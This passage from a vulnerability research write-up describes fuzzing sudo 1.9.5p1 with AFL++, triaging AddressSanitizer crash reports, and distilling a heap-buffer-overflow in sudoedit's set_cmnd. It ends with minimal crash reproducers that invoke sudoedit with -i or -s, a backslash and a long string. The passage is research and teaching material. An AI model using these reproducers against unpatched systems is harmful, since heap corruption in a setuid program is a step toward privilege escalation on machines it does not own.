5. Fuzzing
Our instrumented sudo now expects AFL-style argv[] input from stdin. That means fuzzing is as simple as:
afl-fuzz -i in/ -o tmp/ -- $HOME/fuzz/proj/sudo-1.9.5p1/harness/bin/sudoHere, in/ contains our seed corpus (null-delimited argv files), and out/ is the fuzzer's crash + coverage stash.
5.1. Parallel Fuzzing
One AFL instance = one CPU core. To actually rip through paths, we need parallel fuzzing: multiple fuzzers working in sync, sharing a queue of test cases.
Pro tip: to speed up file I/O and avoid wearing out SSDs, we can place the output directory on a RAM-backed filesystem (
tmpfs).
5.1.1. AFL Luancher
I use my own afl_launcher.py to spin up a cluster of AFL++ instances inside Tmux:

afl_launcher.py -i in/ -o out -debug -- ./harness/bin/sudo If you don't have a custom launcher, it's trivial to roll one (see Gamozolabs' scaling post).
This opens a curses-style master window plus silent slaves, burning all CPU cores like a distributed brute-force engine.

Other slave fuzzers are recorded by afl-whatsup:

5.1.2. Manual
AFL++ supports distributed fuzzing via the -M (master) and -S (slave) flags:
- Master (-M): does deterministic stages + queue pruning.
- Slaves (-S): skip deterministic stages, focus on raw speed.
Pin instances to cores with either taskset -c or AFL's -b binding option.
Master:
# Master pinned to core 0 using taskset -c
taskset -c 0 afl-fuzz -i in/ -o out -M m -- harness/bin/sudo
# Or, use AFL++ bind option
afl-fuzz -i in/ -o out -M m -b 0 -- harness/bin/sudoSlaves:
afl-fuzz -i in/ -o out -M s1 -b 1 -- harness/bin/sudo
afl-fuzz -i in/ -o out -M s2 -b 2 -- harness/bin/sudo
afl-fuzz -i in/ -o out -M s3 -b 3 -- harness/bin/sudoThis runs 1 master + 3 slaves across cores 0–3.
Automated loop:
Bashexport ncpu=10 # Specify number of CPU we want to allocate for i in $(seq 0 $ncpu); do role=$([ $i -eq 0 ] && echo "-M m" || echo "-S s$i") taskset -c $i afl-fuzz -i in/ -o out $role -- harness/bin/sudo > out/log_$i.txt 2>&1 & done
Verify with:
ps -o pid,psr,comm -C afl-fuzzThis shows which core each fuzzer is pinned to—no freeloaders.
5.2. Result
Total run time will be calculated accumulatively by master and all slave fuzzers:

5.2.1. Crashes
After hours of AFL++ hammering both sudo and sudoedit, the crash harvest came in. Unsurprisingly, sudoedit yielded far more interesting results — its argument parsing is fragile, and AFL loved poking it.
$ tree out
out
├── log_master_0.err
├── log_slave_1.err
├── log_slave_2.err
├── log_slave_3.err
├── log_slave_4.err
├── log_slave_5.err
├── log_slave_6.err
├── log_slave_7.err
├── master_0
│ ├── cmdline
│ ├── crashes
│ │ ├── id:000000,sig:06,src:000153,time:118435,execs:48008,op:havoc,rep:5
│ │ ├── id:000001,sig:06,src:000153,time:159190,execs:50795,op:havoc,rep:5
│ │ ├── id:000002,sig:06,src:000153,time:206612,execs:55008,op:havoc,rep:3
│ │ ├── id:000003,sig:06,src:000598,time:5496912,execs:115120,op:havoc,rep:1
│ │ ├── id:000004,sig:06,src:000598,time:5497094,execs:115277,op:havoc,rep:4
│ │ ├── id:000005,sig:06,src:000283,time:8289828,execs:175023,op:havoc,rep:9
│ │ └── README.txt
│ ├── fastresume.bin
│ ├── fuzz_bitmap
│ ├── fuzzer_setup
│ ├── fuzzer_stats
│ ├── hangs
│ │ ├── id:000000,src:000153,time:108895,execs:47304,op:havoc,rep:5
│ │ ├── id:000001,src:000153,time:117878,execs:47682,op:havoc,rep:8
│ │ ├── id:000002,src:000153,time:126817,execs:48181,op:havoc,rep:5
│ │ ...
│ ...
├── slave_1
│ ├── cmdline
│ ├── crashes
│ │ ├── id:000000,sig:06,src:000259,time:136526,execs:139505,op:havoc,rep:3
│ │ ├── id:000001,sig:06,src:000283,time:161925,execs:160135,op:havoc,rep:3
│ │ ├── id:000002,sig:06,src:000304,time:172998,execs:169905,op:havoc,rep:10
│ │ ├── id:000003,sig:06,src:000289,time:246233,execs:236175,op:havoc,rep:8
│ │ └── README.txt
│ ├── fastresume.bin
│ ├── fuzz_bitmap
│ ├── fuzzer_setup
│ ├── fuzzer_stats
│ ├── hangs
│ │ ├── id:000000,src:000395,time:273506,execs:258140,op:havoc,rep:2
│ │ ├── id:000001,src:000395,time:277634,execs:258147,op:havoc,rep:2
│ │ ├── id:000002,src:000395,time:285204,execs:259220,op:havoc,rep:1
│ │ ...
...
32 directories, 5794 filesASan confirmed it: classic heap-buffer-overflow triggered inside sudoedit:

5.2.2. Report Analysis
The crash trace points to set_cnmd:
==56190==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x603000000e10
WRITE of size 1 at 0x603000000e10 thread T0
#0 0x555555834c7b in set_cmnd ...sudoers.c:976:13
#1 ...The AddressSanitizer (ASan) report a classic heap-buffer-overflow.
The call stack clearly shows where program started → where it crashed:
#0 0x555555834c7b in set_cmnd ...src/plugins/sudoers/./sudoers.c:976:13
#1 0x555555834c7b in sudoers_policy_main ...src/plugins/sudoers/./sudoers.c:401:19
#2 0x555555803d25 in sudoers_policy_check ...src/plugins/sudoers/./policy.c:1028:11
#3 0x555555760787 in policy_check .../src/./sudo.c:1179:10
#4 0x555555759f29 in main .../src/./sudo.c:277:9
#5 0x7ffff65b0c86 in __libc_start_main /build/glibc-CVJwZb/glibc-2.27/csu/../csu/libc-start.c:310
#6 0x555555644bf9 in _start (.../harness/bin/sudo+0xf0bf9) The bad pointer came from a malloc call:
0x603000000e10 is located 0 bytes to the right of 32-byte region [0x603000000df0,0x603000000e10)
allocated by thread T0 here:
#0 0x5555556c97de in malloc (.../harness/bin/sudo+0x1757de)
#1 0x55555582f634 in set_cmnd .../plugins/sudoers/./sudoers.c:960:36- The binary allocated 32 bytes at
0x603000000df0 - But then wrote to
0x603000000e10→ 1 byte past the end - The malloc happened 16 lines before the crash, at line 960
ASAN - SHADOW MEMORY
ASan maps each 8 bytes of our application's memory to 1 byte in shadow memory. That 1 byte indicates whether the corresponding memory is:
- Fully addressable (
00)- Partially addressable (
01to07)- Unaddressable / poisoned (
fa,fd, etc.)This mapping lets ASan detect reads/writes to invalid regions like redzones, freed chunks, etc. In our sample output:
=>0x0c067fff81c0: 00 00[fa]fa fa fa fa fa fa fa fa fa fa fa fa faThis line says:
- The application memory at
0x603000000e10maps to shadow bytefaat0x0c067fff81c2.[fa]means the first byte of unaddressable (poisoned) memory.- Our overflow write hit this poisoned redzone → ASan traps it.
5.2.3. Payload Distillation
From the crash corpus:
$ cat out/master_0/crashes/id:000006,sig:06,src:000250,time:225178,execs:57059,op:havoc,rep:3
sduQagUtsufo-nki-o\doo"""do%
$ xxd -g1 out/master_0/crashes/id:000006,sig:06,src:000250,time:225178,execs:57059,op:havoc,rep:3
00000000: 73 7f 64 75 51 61 67 55 74 73 75 66 6f 00 2d 6e s.duQagUtsufo.-n
00000010: 6b 69 00 01 00 2d 00 02 00 6f 00 02 00 5c 00 02 ki...-...o...\..
00000020: 00 02 64 6f 18 02 00 02 00 02 00 6f 00 02 00 22 ..do.......o..."
00000030: 22 22 02 02 64 6f 00 02 00 02 00 ""..do.....Translation:
<argv[0]> -nki - o '\' junk_string \"\"\" junk_string The first fuzzed argv[0] does not matter in our test—we stemmed it as "sudoedit" by the AFL_INIT_SET0("sudoedit") macro when collecting this bug sample. Pay attention to some special chars like \ or ", which might be the cause triggering unexpected errors.
Test to find out the collision command:
./install/bin/sudoedit -nki - o '\' somestringaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaWe can run it with the original non-modified sudoedit command to verify this crash without passing a correct password:

Same error achieved. Narrow down the payload scope, we reach a minimal affected version:
$ ./install/bin/sudoedit -i '\' somestringaaaaaaaaaaaaaaaaaaaaa
malloc(): memory corruption
[1] 63258 abort ./install/bin/sudoedit -i '\' somestringaaaaaaaaaaaaaaaaaaaaa
$ ./install/bin/sudoedit -s '\' somestringaaaaaaaaaaaaaaaaaaaaa
malloc(): memory corruption
[1] 72593 abort ./install/bin/sudoedit -s '\' somestringaaaaaaaaaaaaaaaaaaaaaThe heap corruption appears when sudoedit is invoked with -i or -s plus two extra args:
- The first being a literal backslash (
\). - The second being a sufficiently long string (≥10 bytes).
Minimal reproducer (for this stage):
sudoedit -i '\' aaaaaaaaaaa
sudoedit -s '\' aaaaaaaaaaaAt that point, set_cmnd() miscalculates buffer space and overruns malloc'd memory.
Comments | 1 comment
what is the password for writeup